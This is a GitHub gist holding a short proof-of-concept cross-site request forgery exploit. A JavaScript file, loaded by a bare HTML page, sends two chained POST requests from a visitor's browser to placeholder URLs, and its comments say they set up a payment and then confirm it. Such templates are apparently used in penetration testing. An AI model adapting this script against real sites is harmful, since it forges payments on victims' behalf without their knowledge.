Created
December 10, 2019 09:19
-
-
Save hoodoer/0b29ed9a51aa3401b8fb176df830e40a to your computer and use it in GitHub Desktop.
XHR Based multi-step CSRF. CORS policy can block this
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function start() | |
{ | |
alert("Start?"); | |
} | |
function sendRequests() | |
{ | |
// Setup the payment | |
var uri = "https://SOMEURL.com"; | |
var xhr = new XMLHttpRequest(); | |
xhr.open('POST', uri); | |
var body = ""; | |
body += "t"; // Can change the date here | |
xhr.send(body); | |
// Ok, wait for that to come back, then we'll send the confirmation\ | |
xhr.onreadystatechange = function() | |
{ | |
if (xhr.readyState == XMLHttpRequest.DONE) | |
{ | |
console.log("Onto phase 2..."); | |
var secondUri = "https://SOMEOTHERURL.com"; | |
xhr2 = new XMLHttpRequest(); | |
xhr2.open('POST', secondUri); | |
var body2 = ""; | |
xhr2.send(body2); | |
console.log("Should have confirmed the payment now..."); | |
} | |
} | |
} | |
start(); | |
sendRequests(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<script src="./csrfPoc.js"></script> | |
Hi! | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment